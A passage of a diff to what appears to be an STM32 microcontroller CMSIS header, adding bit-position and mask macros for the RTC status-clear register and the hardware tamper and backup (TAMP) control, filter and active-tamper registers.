RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 